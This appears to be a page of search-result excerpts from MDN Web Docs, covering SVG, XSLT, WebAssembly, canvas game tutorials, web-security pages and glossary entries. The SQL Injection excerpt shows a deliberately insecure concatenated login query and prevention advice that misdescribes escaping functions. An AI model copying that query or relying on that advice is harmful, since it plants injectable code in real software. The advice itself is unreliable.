... first, each mote tries to move towards the cursor, and second each mote tries to move away from the average mote position. combined, we get this very natural looking behavior.
... var dims = dimensions(); var width = dims[0], height = dims[1]; // choose a random coordinate to start at.
... if( this.elt === null ) { var svg = 'http://www.w3.org/2000/svg'; this.elt = document.createelementns(svg,'line'); this.elt.setattributens(null,'stroke','green'); this.elt.setattributens(null,'stroke-width','3'); this.elt.setattributens(null,'stroke-opacity','0.5'); display().appendchild( this.elt ); } this.elt.setattributens(null,'x1',old_x); this.elt.setattributens(null,'y1',old_y); this.elt.setattributens(null,'x2',this.x); this.elt.setattributens(null,'y2',this.y); } function update() { // first call?
SVG animation with SMIL - SVG: Scalable Vector Graphics
although chrome 45 deprecated smil in favor of css animations and web animations, the chrome developers have since suspended that deprecation.
... firefox 4 introduced support for animating svg using synchronized multimedia integration language (smil).
...this new element is necessary because we are not animating a simple attribute like x which is just a number.
...in this case, we're establishing a path consisting of a moveto command to establish the starting point for the animation, then the horizontal-line command to move the circle 300 pixels to the right, followed by the z command, which closes the path, establishing a loop back to the beginning.
Basic shapes - SVG: Scalable Vector Graphics
each number must be separated by a space, comma, eol, or a line feed character.
... each point must contain two numbers: an x coordinate and a y coordinate.
... <polygon points="50, 160 55, 180 70, 180 60, 190 65, 205 50, 195 35, 205 40, 190 30, 180 45, 180"/> points a list of points, each number separated by a space, comma, eol, or a line feed character.
... each point must contain two numbers: an x coordinate and a y coordinate.
Positions - SVG: Scalable Vector Graphics
however, this is the same way elements in html are positioned (by default, ltr documents are considered not the rtl documents which position x from right-to-left).
...but svg wouldn't have the "scalable" in its name, if there weren't several possibilities to change this behaviour.
... much like absolute and relative font sizes in css, svg defines absolute units (ones with a dimensional identifier like "pt" or "cm") and so-called user units, that lack that identifier and are plain numbers.
...to explicitly change this behaviour, there are several possibilities in svg.
SVG and CSS - SVG: Scalable Vector Graphics
challenge change the stylesheet so that the inner petals all turn pink when the mouse pointer is over any one of them, without changing the way the outer petals work.
... see a solution to this challenge.
... simplified structure the svg structure shown above could be written much more concise by referencing the individual parts of the flower via <use> elements.
...there is some discussion about what rules apply to such referenced elements.
How to fix a website with blocked mixed content - Web security
this follows a practice adopted by internet explorer (since version 9) and chrome.
... note that since mixed content blocking already happens in chrome and internet explorer, it is very likely that if your website works in both of these browsers, it will work equally well in firefox with mixed content blocking.
...or use a free online crawler like ssl-check or missing padlock, a desktop crawler like httpschecker, or a cli tool like mcdetect to check your website recursively and find links to insecure content.
...there are online as well as offline tools (depending on your operating system) such as linkchecker to help resolve this.
Securing your site - Web security
privacy and the :visited selector this article discusses changes made to the getcomputedstyle() method that eliminates the ability for malicious sites to figure out the user's browsing history.
...the same issues can arise if you use an old or insecure algorithm for hashing (such as md5).
... you should use a password-specific hashing algorithm (such as argon2, pbkdf2, scrypt or bcrypt) instead of message digest algorithms (such as md5 and sha).
...for example, .htaccess file is used for websites hosted on apache http server.
Subdomain takeovers - Web security
in such a case, as soon as you set up dns in step 2, the attacker can host content on your subdomain.
...depending on the size of the organization, this may require communication and coordination across multiple departments, which can only increase the likelihood for a vulnerable misconfiguration.
... create an inventory of all of your organization’s domains and their hosting providers, and update it as things change, to ensure that nothing is left dangling.
...if your site has multiple layers of virtualization (e.g., a cdn in addition to virtual hosting), you may need to examine each layer to see where exactly the attacker asserted their virtual host claim to take over your domain.
lang - XPath
WebXPathFunctionslang
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the lang function determines whether the context node matches the given language and returns boolean true or false.
... syntax lang(string ) arguments string the language code or localization (language and country) code to be matched.
... returns true if the context node matches the given languages.
... if the given string does not specify a country code, this function will match nodes of that language with any country code.
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
however these versions also used a draft version of xslt which is incompatible with what eventually became the xslt 1.0 specification.
... missing features there are some features in the xslt 1.0 specification which firefox unfortunately does not yet support.
...while we could try to add some heuristics to serialize and reparse just the part of the output document which has disable-output-escaping applied, heuristics often get things wrong and lead to surprising results, hence we've been reluctant to add this so far.
... often times stylesheets contain code like <xsl:text disable-output-escaping="yes">&nbsp;</xsl:text>, this is equivalent to simply putting &#160; in the stylesheet which will work great in all xslt engines.
<xsl:preserve-space> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:preserve-space> element defines the elements in the source document for which whitespace should be preserved.
... if there is more than one element, separate the names with a whitespace character.
... syntax <xsl:preserve-space elements=list-of-element-names /> required attributes elements specifies the elements for which whitespace should be preserved.
... type top-level, must be a child of <xsl:stylesheet> or <xsl:transform>.
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElement
a top-level element must appear as the child of either <xsl:stylesheet> or <xsl:transform>.
...an attribute value template is simply a string that includes an embedded xpath expression which is used to specify the value of an attribute.
...<xsl:apply-imports><xsl:apply-templates><xsl:attribute-set><xsl:attribute><xsl:call-template><xsl:choose><xsl:comment><xsl:copy-of><xsl:copy><xsl:decimal-format><xsl:element><xsl:fallback><xsl:for-each><xsl:if><xsl:import><xsl:include><xsl:key><xsl:message><xsl:namespace-alias><xsl:number><xsl:otherwise><xsl:output><xsl:param><xsl:preserve-space><xsl:processing-instruction><xsl:sort><xsl:strip-space><xsl:stylesheet><xsl:template><xsl:text><xsl:transform><xsl:value-of><xsl:variable><xsl:when><xsl...
...:with-param> <xsl:apply-imports> <xsl:apply-templates> <xsl:attribute> <xsl:attribute-set> <xsl:call-template> <xsl:choose> <xsl:comment> <xsl:copy> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fallback> (not supported) <xsl:for-each> <xsl:if> <xsl:import> (mostly supported) <xsl:include> <xsl:key> <xsl:message> <xsl:namespace-alias> (not supported) <xsl:number> (partially supported) <xsl:otherwise> <xsl:output> (partially supported) <xsl:param> <xsl:preserve-space> <xsl:processing-instruction> <xsl:sort> <xsl:strip-space> <xsl:stylesheet> (partially supported) <xsl:template> <xsl:text> (partially supported) <xsl:transform> <xsl:value-of> (partially supported) <xsl:variable> <xsl:when> <xsl:with-param> ...
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
the stylesheet has to be passed in as an xml document, which means that the .xsl file has to be loaded by the page before calling xsltprocessor.importstylesheet().
... figure 1 : instantiating an xsltprocessor var xsltprocessor = new xsltprocessor(); // load the xsl file using synchronous (third param is set to false) xmlhttprequest var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example.xsl", false); myxmlhttprequest.send(null); var xslref = myxmlhttprequest.responsexml; // finally import the .xsl xsltprocessor.importstylesheet(xslref); for the actual transformation, xsltprocessor requires an xml document, which is used in conjunction with the imported xsl file to produce the final result.
...the cloned dom can then be easily inserted into the xml document using node.appendchild(), as shown in figure 2.
... // importnode is used to clone the nodes we want to process via xslt - true makes it do a deep clone var mynode = document.getelementbyid("example"); var clonednode = xmlref.importnode(mynode, true); // add the cloned dom into the xml document xmlref.appendchild(clonednode); once the stylesheet has been imported, xsltprocessor has to perform two methods for the actual transformation, namely xsltprocessor.transformtodocument() and xsltprocessor.transformtofragment().
Converting WebAssembly text format to wasm - WebAssembly
the web app in which we are using our webassembly module).
... when it is called, it calls an imported javascript function called imported_func, which is run with the value (42) provided as a parameter.
...to do this, we can use the wabt tool, which includes compilers to convert between webassembly’s text representation and wasm, and vice versa, plus more besides.
... next, execute the wat2wasm program, passing it the path to the input file, followed by an -o parameter, followed by the path to the output file: wat2wasm simple.wat -o simple.wasm this will convert the wasm into a file called simple.wasm, which contains the .wasm assembly code.
Square tilemaps implementation: Static maps - Game development
note: when writing this article, we assumed previous reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
...this is the atlas we will be using as an example, which features five different tiles: to draw a tile from the atlas into the canvas we make use of the drawimage() method in a canvas 2d context.
... we need to supply the atlas image, the coordinates and dimensions of the tile inside the atlas, and the target coordinates and size (a different tile size in here would scale the tile.) so, for instance, to draw the tree tile, which is the third in the atlas, at the screen coordinates (128, 320), we would call drawimage() with these values: context.drawimage(atlasimage, 192, 0, 64, 64, 128, 320, 64, 64); in order to support atlases with multiple rows and columns, you would need to know how many rows and columns there are to be able to compute the source x and y.
Mouse controls - Game development
add the following line in the same place as the other event listeners, just below the keyup event: document.addeventlistener("mousemove", mousemovehandler, false); anchoring the paddle movement to the mouse movement we can update the paddle position based on the pointer coordinates — the following handler function will do exactly that.
... add the following function to your code, below the previous line you added: function mousemovehandler(e) { var relativex = e.clientx - canvas.offsetleft; if(relativex > 0 && relativex < canvas.width) { paddlex = relativex - paddlewidth/2; } } in this function we first work out a relativex value, which is equal to the horizontal mouse position in the viewport (e.clientx) minus the distance between the left edge of the canvas and left edge of the viewport (canvas.offsetleft) — effectively this is equal to the distance between the canvas left edge and the mouse pointer.
... if the relative x pointer position is greater than zero and lower than the canvas width, the pointer is within the canvas boundaries, and the paddlex position (anchored on the left edge of the paddle) is set to the relativex value minus half the width of the paddle, so that the movement will actually be relative to the middle of the paddle.
Buttons - Game development
add the following lines to the bottom of your create() function: startbutton = game.add.button(game.world.width*0.5, game.world.height*0.5, 'button', startgame, this, 1, 0, 2); startbutton.anchor.set(0.5); the button() method's parameters are as follows: the button's x and y coordinates the name of the graphic asset to be displayed for the button a callback function that will be executed when the button is pressed a reference to this to specify the execution context the frames that will be used for the over, out and down events.
... keeping the paddle still before the game starts it works as expected, but we can still move the paddle when the game hasn't started yet, which looks a bit silly.
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps the last thing we will do in this article series is make the gameplay even more interesting by adding some randomization to the way the ball bounces off the paddle.
Scaling - Game development
show_all — scales the canvas, but keeps the aspect ratio untouched, so images won't be skewed like in the previous mode.
...the stage object has a backgroundcolor property for this purpose, which we can set using css color definition syntax.
... add the following line below the other three you added earlier: game.stage.backgroundcolor = '#eee'; compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps now we've set up the scaling for our game, let's continue to the third lesson and work out how to load the assets and print them on screen.
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
...ajax also lets you work asynchronously, meaning your code continues to run while the targeted part of your web page is trying to reload (compared to synchronously, which blocks your code from running until that part of your page is done reloading).
... with interactive websites and modern web standards, ajax is gradually being replaced by functions within javascript frameworks and the official fetch api standard.
CSS pixel - MDN Web Docs Glossary: Definitions of Web-related terms
the css pixel—denoted in css with the suffix px—is a unit of length which roughly corresponds to the width or height of a single dot that can be comfortably seen by the human eye without strain, but is otherwise as small as possible.
... as such, it generally suffices to say that when the unit px is used, the goal is to try to have the distance 96px equal about 1 inch on the screen, regardless of the actual pixel density of the screen.
... learn more technical reference css values and units module, section 5.2: absolute lengths learn about it css length explained on the mdn hacks blog ...
Canonical order - MDN Web Docs Glossary: Definitions of Web-related terms
in css, canonical order is used to refer to the order in which separate values need to be specified (or parsed) or are to be serialized as part of a css property value.
... it is defined by the formal syntax of the property and normally refers to the order in which longhand values should be specified as part of a single shorthand value.
...the canonical order of those longhand values is defined as background-image background-position background-size background-repeat background-attachment background-origin background-clip background-color furthermore, its syntax defines, that if a value for the background-size is given, it must be specified after the value for the background-position, separated by a slash.
DNS - MDN Web Docs Glossary: Definitions of Web-related terms
dns (domain name system) is a hierarchical and decentralized naming system for internet connected resources.
... dns maintains a list of domain names along with the resources, such as ip addresses, that are associated with them.
... the most prominent function of dns is the translation of human-friendly domain names (such as mozilla.org) to a numeric ip address (such as 151.106.5.172); this process of mapping a domain name to the appropriate ip address is known as a dns lookup.
DTMF (Dual-Tone Multi-Frequency signaling) - MDN Web Docs Glossary: Definitions of Web-related terms
dual-tone multi-frequency (dtmf) signaling is a system by which audible tones are used to represent buttons being pressed on a keypad.
... frequently referred to in the united states as "touch tone" (after the touch-tone trademark used when the transition from pulse dialing to dtmf began), dtmf makes it possible to signal the digits 0-9 as well as the letters "a" through "d" and the symbols "#" and "*".
... few telephone keypads include the letters, which are typically used for control signaling by the telephone network.
Developer Tools - MDN Web Docs Glossary: Definitions of Web-related terms
current browsers provide integrated developer tools, which allow to inspect a website.
... they let users inspect and debug the page's html, css, and javascript, allow to inspect the network traffic it causes, make it possible to measure it's performance, and much more.
... learn more general knowledge web development tools on wikipedia technical reference firefox developer tools on mdn firebug (former developer tool for firefox) chrome devtools on chrome.com safari web inspector on apple.com edge dev tools on microsoft.com ...
Domain - MDN Web Docs Glossary: Definitions of Web-related terms
its "domain name" is a way to address this authority as part of the hierarchy in a url - usually the most memorable part of it, for instance a brand name.
...here, "org" means "organization" which is defined in a top-level domain registry.
...many owners choose to have a subdomain "www" to point to their world_wide_web resource, but that's not required (and has even fallen somewhat out of favor).
Domain sharding - MDN Web Docs Glossary: Definitions of Web-related terms
browsers limit the number of active connections for each domain.
... the problem with domain sharding, in terms of performance, is the cost of extra dns lookups for each domain and the overhead of establishing each tcp connection.
... the initial response from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded.
Dominator - MDN Web Docs Glossary: Definitions of Web-related terms
this concept is important for garbage collection because it means that b is only reachable through a.
... so if the garbage collector found a to be unreachable and eligible for reclaiming, than b would also be unreachable and eligible for reclaiming.
... learn more general knowledge dominator on wikipedia technical reference dominators garbage collection ...
Dynamic programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a dynamic programming language is a programming language in which operations otherwise done at compile-time can be done at run-time.
... for example, in javascript it is possible to change the type of a variable or add new properties or methods to an object while the program is running.
... this is opposed to so-called static programming languages, in which such changes are normally not possible.
ECMAScript - MDN Web Docs Glossary: Definitions of Web-related terms
ecmascript is a scripting language specification on which javascript is based.
... ecma international is in charge of standardizing ecmascript.
... learn more general knowledge ecmascript on wikipedia technical reference ecmascript ...
Fragmentainer - MDN Web Docs Glossary: Definitions of Web-related terms
a fragmentainer is defined in the css fragmentation specification as follows: a box—such as a page box, column box, or region—that contains a portion (or all) of a fragmented flow.
... fragmented contexts are found in css paged media, where the fragmentainer would be the box which defines a page.
...in css regions each region is a fragmentainer.
Garbage collection - MDN Web Docs Glossary: Definitions of Web-related terms
garbage collection is a term used in computer programming to describe the process of finding and deleting objects which are no longer being referenced by other objects.
... in other words, garbage collection is the process of removing any objects which are not being used by any other objects.
... learn more general knowledge memory management on wikipedia garbage collection on wikipedia technical reference garbage collection in the mdn javascript guide.
Guard - MDN Web Docs Glossary: Definitions of Web-related terms
guard is a feature of headers objects (as defined in the fetch spec, which affects whether methods such as set() and append() can change the header's contents.
... for example, immutable guard means that headers can't be changed.
... for more information, read fetch basic concepts: guard.
HMAC - MDN Web Docs Glossary: Definitions of Web-related terms
it can use any kind of cryptographic functions, and its strengh depends on the underlying function (sha1 or md5 for instance), and the chosen secret key.
... with such a combination, the hmac verification algorithm is then known with a compound name such as hmac-sha1.
... learn more general knowledge hmac on wikipedia technical reference rfc 2104 on ietf ...
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
as part of a uri, the "http" within "http://example.com/" is called a "scheme".
... resources using the "http" schema are typically transported over unencrypted connections using the http protocol.
... the "https" scheme (as in "https://developer.mozilla.org") indicates that a resource is transported using the http protocol, but over a secure tls channel.
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical example one of the advantages of javascript putting function declarations into memory before it executes any code segment is that it allows you to use a function before you declare it in your code.
...now, let's see what happens when we call the function before we write it: catname("chloe"); function catname(name) { console.log("my cat's name is " + name); } /* the result of the code above is: "my cat's name is chloe" */ even though we call the function in our code first, before the function is written, the code still works.
... a = 'cran'; // initialize a b = 'berry'; // initialize b console.log(a + "" + b); // 'cranberry' technical reference var statement — mdn function statement — mdn ...
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
(function () { statements })(); it is a design pattern which is also known as a self-executing anonymous function and contains two major parts: the first is the anonymous function with lexical scope enclosed within the grouping operator ().
... the second part creates the immediately invoked function expression () through which the javascript engine will directly interpret the function.
... examples the function becomes a function expression which is immediately executed.
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
to be idempotent, only the actual back-end state of the server is considered, the status code returned by each request may differ: the first call of a delete will likely return a 200, while successive ones will likely return a 404.
...client gets the same results: get /pagex http/1.1 get /pagex http/1.1 get /pagex http/1.1 get /pagex http/1.1 post /add_row http/1.1 is not idempotent; if it is called several times, it adds several rows: post /add_row http/1.1 post /add_row http/1.1 -> adds a 2nd row post /add_row http/1.1 -> adds a 3rd row delete /idx/delete http/1.1 is idempotent, even if the returned status code may change between requests: delete /idx/delete http/1.1 -> returns 200 if idx exists delete /idx/delete http/1.1 -> returns 404 as it just got deleted delete /idx/delete http/1.1 -> returns 404 learn more general knowledge definition of idempotent in the http specification.
... technical knowledge description of common idempotent methods: get, head, put, delete, options, trace description of common non-idempotent methods: post,patch, connect ...
Internationalization - MDN Web Docs Glossary: Definitions of Web-related terms
internationalization, often shortened to "i18n", is the adapting of a web site or web application to different languages, regional differences, and technical requirements for different regions and countries.
... internationalization is the process of architecting your web application so that it can be quickly and easily adapted to various languages and regions without much engineering effort when new languages and regions are supported.
... internationalization includes support for multiple character sets (usually via unicode), units of measure (currency, °c/°f, km/miles, etc.), date and time formats, keyboard layouts, and layout and text directions.
Latency - MDN Web Docs Glossary: Definitions of Web-related terms
latency is the network time it takes for a requested resource to reach its destination.
...high latency is bad, meaning it takes a long time for the requested resource to reach its destination.
... latency can be a factor in any kind of data flow, but is most commonly discussed in terms of network latency (the time it takes for a packet of data to travel from source to destination) and media codec latency (the time it takes for the source data to be encoded or decoded and reach the consumer of the resulting data).
Layout viewport - MDN Web Docs Glossary: Definitions of Web-related terms
the layout viewport is the viewport into which the browser draws a web page.
... this becomes important, for example, on mobile devices, where a pinching gesture can usually be used to zoom in and out on a site's contents.
... the rendered document doesn't change in any way, so the layout viewport remains the same as the user adjusts the zoom level.
Media (Audio-visual presentation) - MDN Web Docs Glossary: Definitions of Web-related terms
the term media (more accurately, multimedia) refers to audio, video, or combined audio-visual material such as music, recorded speech, movies, tv shows, or any other form of content that is presented over a period of time.
... more broadly, media may include still images such as photographs or other still images.
... learn more general knowledge multimedia on wikipedia technical reference web media technologies: a guide to all the ways media can be used in web content multimedia and embedding in the mdn learning area <audio> and <video> elements, used to present media in html documents ...
Method - MDN Web Docs Glossary: Definitions of Web-related terms
a method is a function which is a property of an object.
... there are two kind of methods: instance methods which are built-in tasks performed by an object instance, or static methods which are tasks that are called directly on an object constructor.
... learn more learn about it method (computer programming) in wikipedia defining a method in javascript (comparison of the traditional syntax and the new shorthand) technical reference list of javascript built-in methods ...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
comparing this to physical mail: if you're writing letters to each other, the mailman can intercept each letter you mail.
...you wouldn't know there's a man in the middle in your communication channel – the mailman is invisible to you and to your recipient.
... check for https in your address bar and ensure encryption is in-place before logging in.
Mobile First - MDN Web Docs Glossary: Definitions of Web-related terms
mobile first, a form of progressive enhancement, is a web-development and web-design approach that focuses on prioritizing design and development for mobile screen sizes over design and development for desktop screen sizes.
... the rationale behind the mobile-first approach is to provide users with good user experiences at all screen sizes—by starting with creating a user experience that works well on small screens, and then building on top of that to further enrich the user experience as the screen size increases.
... the mobile-first approach contrasts with the older approach of designing for desktop screen sizes first, and then only later adding some support for small screen sizes.
Native - MDN Web Docs Glossary: Definitions of Web-related terms
a native application has been compiled to run on the hardware/software environment that comprises the targeted architecture.
... an example of a native android app would be a mobile application written in java using the android toolchain.
... on the other hand, a web app that runs inside a browser is not native — it is run in the web browser, which sits on top of the native environment, not the native environment itself.
P2P - MDN Web Docs Glossary: Definitions of Web-related terms
p2p (peer-to-peer) is a computer networking architecture in which all participating nodes (peers) have equal privileges and share the workload.
... p2p differs from a client-server network architecture, where multiple client nodes connect to centralized servers for services.
... p2p is commonly found in blockchain applications.
Page prediction - MDN Web Docs Glossary: Definitions of Web-related terms
page prediction is a browser feature or script which, when enabled, tells the browser to download resources the user is likely to visit before the user requests the content.
... some web applications include a prediction feature completing search text and address bar urls based on browsing history and related searches.
... for example, as the user types in the address bar, the browser might send the current text in the address bar to the search engine before the user submits the request.
Perceived performance - MDN Web Docs Glossary: Definitions of Web-related terms
other features, such as good ux design, including animations, and lazy loading, can make your site appear more responsive, even if the download and response times remain the same.
...while increased performance generally increases perceived performance, there are some techniques that can be used to increase perceived performance while marginally decreasing actual performance.
... there are front end optimization techniques that can improve perceived performance, such as adding the defer or async attribute to scripts, or placing scripts at the end of documents, and placing css in the head of documents.
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
a cors preflight request is a cors request that checks to see if the cors protocol is understood and a server is aware using specific methods and headers.
... a preflight request is automatically issued by a browser and in normal cases, front-end developers don't need to craft such requests themselves.
... might be asking a server if it would allow a delete request, before sending a delete request, by using a preflight request: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org if the server allows it, then it will respond to the preflight request with an access-control-allow-methods response header, which lists delete: http/1.1 204 no content connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 the preflight response can be optionally cached for the requests created in the same url using access-control-max-age header like in the above example.
RAIL - MDN Web Docs Glossary: Definitions of Web-related terms
rail, an acronym for response, animation, idle, and load, is a performance model originated by the google chrome team in 2015, focused on user experience and performance within the browser.
... animation when animating, render each frame in under 16ms, aiming for consistency and avoiding jank.
... idle when using the main javascript thread, work in chunks for less than 50ms to free up the thread for user interactions.
RGB - MDN Web Docs Glossary: Definitions of Web-related terms
red green blue (rgb) is a color model that represents colors as mixtures of three underlying components (or channels), namely, red, green, and blue.
... each color is described by a sequence of three numbers (typically between 0.0 and 1.0, or between 0 and 255) that represent the different intensities (or contributions) of red, green, and blue, in determining the final color.
...graphically, a color can be represented as a point in a three-dimensional grid or cube, where each dimension (or axis) corresponds to a different channel.
RTP (Real-time Transport Protocol) and SRTP (Secure RTP) - MDN Web Docs Glossary: Definitions of Web-related terms
the real-time transport protocol (rtp) is a network protocol which described how to transmit various media (audio, video) from one endpoint to another in a real-time fashion.
... rtp is suitable for video-streaming application, telephony over ip like skype and conference technologies.
... the secure version of rtp, srtp, is used by webrtc, and uses encryption and authentication to minimize the risk of denial-of-service attacks and security breaches.
Real User Monitoring (RUM) - MDN Web Docs Glossary: Definitions of Web-related terms
real user monitoring or rum measures the performance of a page from real users' machines.
... generally, a third party script injects a script on each page to measure and report page load data for every request made.
... this technique monitors an application’s actual user interactions.
Regular expression - MDN Web Docs Glossary: Definitions of Web-related terms
regular expressions (or regex) are rules that govern which sequences of characters come up in a search.
... regular expressions are implemented in various languages, but the best-known implementation is the perl implementation, which has given rise to its own ecosystem of implementations called pcre (perl compatible regular expression).
... learn more general knowledge regular expressions on wikipedia interactive tutorial visualized regular expression technical reference writing regular expressions in javascript ...
Robots.txt - MDN Web Docs Glossary: Definitions of Web-related terms
robots.txt is a file which is usually placed in the root of any website.
... for example, the site admin can forbid crawlers to visit a certain folder (and all the files therein contained) or to crawl a specific file, usually to prevent those files being indexed by other search engines.
... learn more general knowledge robots.txt on wikipedia https://developers.google.com/search/reference/robots_txt standard specification draft: https://tools.ietf.org/html/draft-rep-wg-topic https://www.robotstxt.org/ ...
SISD - MDN Web Docs Glossary: Definitions of Web-related terms
sisd is short for single instruction/single data which is one classification of computer architectures.
... in sisd architecture, a single processor executes a single instruction and operates on a single data point in memory.
... see also simd for a parallel architecture that allows one same operation to be performed on multiple data points.
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
many data breaches are due to sql injection.
...er.text+" ' and password=' "+ txt.password.text+" ' "; now suppose user enters the username: admin and password: passwd123, so after clicking on the log in button, sql query will run as follows: "select count(*) from users where username=' admin ' and password=' passwd123 ' "; if the credentials are correct, then the user is allowed to log in, so it's a very simple (and therefore insecure) mechanism.
... how to prevent before executing the queries for the user credentials, make some changes like the following: $id = $_get['id'] (1) $id = stripslashes($id) (2) $id = mysql_real_escape_string($id) so due to (1) each single quote (') in the input string is replaced with double quotes ("), and due to (2) before every (') it adds (/).
SVN - MDN Web Docs Glossary: Definitions of Web-related terms
apache subversion (svn) is a free source control management (scm) system.
...although svn can also handle binary files, we do not recommend that you use it for such files.
... learn more general knowledge apache subversion on wikipedia official website learn about it svn guide for localizers on mdn ...
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
screen readers are software applications that attempt to convey what is seen on a screen display in a non-visual way, usually as text to speech, but also into braille or sound icons.
... in terms of web accessibility, most user agents provide an accessibility object model and screen readers interact with dedicated accessibility apis, using various operating system features and employing hooking techniques.
...tton in a same named-group: right or down arrow previous radio button in a same named-group: left or up arrow navigating through the content of a page is done with the tab key and a series of other keys along with control + option keys next heading: control + option + h next list: control + option + x next graphic: control + option + g next table: control + option + t down an html hierarchical order control + option + right arrow previous heading: shift + control + option + h previous list: shift + control + option + x previous graphic: shift + control + option + g previous table: shift + control + option + t up an html hierarchical order: control + option + left arrow learn more aria ...
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
in tcp session hijacking, an attacker gains access by taking over a tcp session between two machines in mid session.
... break the victim machine's connection.
... protection against session hijacking create a secure communication channel with ssh (secure shell) pass authentication cookies over https connection implement logout functionality so the user can end the session generate the session id after successful login pass encrypted data between the users and the web server use a string or long random number as a session key learn more general knowledge session hijacking on wikipedia ...
Shadow tree - MDN Web Docs Glossary: Definitions of Web-related terms
a shadow tree is a hidden set of standard dom nodes which is attached to a standard dom node that serves as a host.
...this provides a way to encapsulate implementation details, which is especially useful for custom elements and other advanced design paradigms.
... learn more general knowledge using shadow dom technical information element.shadowroot and element.attachshadow() shadowroot <slot> ...
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
in a javascript runtime environment, a symbol value is created by invoking the function symbol, which dynamically produces an anonymous, unique value.
... examples of well-known symbols are: symbol.iterator for array-like objects, or symbol.search for string objects.
... the method symbol.for(tokenstring) returns a symbol value from the registry, and symbol.keyfor(symbolvalue) returns a token string from the registry; each is the other's inverse, so the following is true: symbol.keyfor(symbol.for("tokenstring")) === "tokenstring" // true learn more general knowledge symbol (programming) on wikipedia javascript data types and data structures symbols in ecmascript 6 symbol in the mdn js reference object.getownpropertysymbols() ...
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
this is usually contrasted with public-key cryptography, in which keys are generated in pairs and the transformation made by one key can only be reversed using the other key.
...the size of each block is fixed and determined by the algorithm: for example aes uses 16-byte blocks.
... block ciphers are always used with a mode, which specifies how to securely encrypt messages that are longer than the block size.
Synthetic monitoring - MDN Web Docs Glossary: Definitions of Web-related terms
with a consistent baseline, synthetic monitoring is good for measuring the effects of code changes on performance.
... unlike rum, synthetic monitoring provides a narrow view of performance that doesn't account for user differences, making it useful in getting basic data about an application's performance and spot-checking performance in development environments.
... combined with other tools, such as network throttling, can provide excellent insight into potential problem areas.
TTL - MDN Web Docs Glossary: Definitions of Web-related terms
ttl can refer either to : the lifetime of a packet in a network can do before being released the expiry time of cached data networking in networking, the ttl, embedded in the packet, is a usually defined as a number of hops or as an expiration timestamp after which the packet is dropped.
... caching in the context of caching, ttl (as an unsigned 32-bit integer) being a part of the http response header or the dns query, indicates the amount of time in seconds during which the ressource can be cached by the requester.
... learn more general knowledge ttl on wikipedia technical reference rfc 2181 on ietf rfc1035 on ietf ...
Transmission Control Protocol (TCP) - MDN Web Docs Glossary: Definitions of Web-related terms
tcp encapsulates higher level protocol data such as http and, smtp (email) .
...the three messages transmitted by tcp to negotiate and start a tcp session are nicknamed syn, syn-ack, ack for synchronize, synchronize-acknowledgement, and acknowledge.
... the three message mechanism is designed for the two computers that want to pass information back and forth and can negotiate the parameters of the connection before transmitting data such as http browser requests.
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
lately, the trend is to add experimental features behind user-controlled flags or preferences, and to create smaller specifications which can reach a stable state much more quickly.
... css prefixes the major browsers use the following prefixes: -webkit- (chrome, safari, newer versions of opera, almost all ios browsers including firefox for ios; basically, any webkit based browser) -moz- (firefox) -o- (old pre-webkit versions of opera) -ms- (internet explorer and microsoft edge) sample usage: -webkit-transition: all 4s ease; -moz-transition: all 4s ease; -ms-transition: all 4s ease; -o-transition: all 4s ease; transition: all 4s ease; api prefixes historically, vendors have also used prefixes for experimental apis.
... interface prefixes prefixes for interface names are upper-cased: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefox) o (older, pre-webkit, versions of opera) ms (internet explorer and microsoft edge) property and method prefixes the prefixes for properties and methods are lower-case: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefo...
VoIP - MDN Web Docs Glossary: Definitions of Web-related terms
voip (voice over internet protocol) is a technology used to transmit voice messages over ip (internet protocol) networks.
...the main reason for using voip technology is because of cost.
...usually, telephone calls over the internet do not incur further charges beyond what the user is paying for internet access, much in the same way that the user doesn't pay for sending individual emails over the internet.
WebGL - MDN Web Docs Glossary: Definitions of Web-related terms
the khronos group maintains webgl, which is based on opengl es 2.0.
... you can invoke webgl within the html <canvas> element, which provides a rendering surface.
... learn more general knowledge webgl on wikipedia check for webgl support technical article webgl on mdn support table for webgl ...
WebRTC - MDN Web Docs Glossary: Definitions of Web-related terms
webrtc (web real-time communication) is an api that can be used by video-chat, voice-calling, and p2p-file-sharing web apps.
... rtcpeerconnection an interface to configure video chat or voice calls.
... rtcdatachannel provides a method to set up a peer-to-peer data pathway between browsers.
Baseline - MDN Web Docs Glossary: Definitions of Web-related terms
the baseline is a term used in european and west asian typography meaning an imaginary line upon which the characters of a font rest.
... the descenders of characters like g and p extend below this line.
... learn more general knowledge baseline on wikipedia technical reference css box alignment on mdn ...
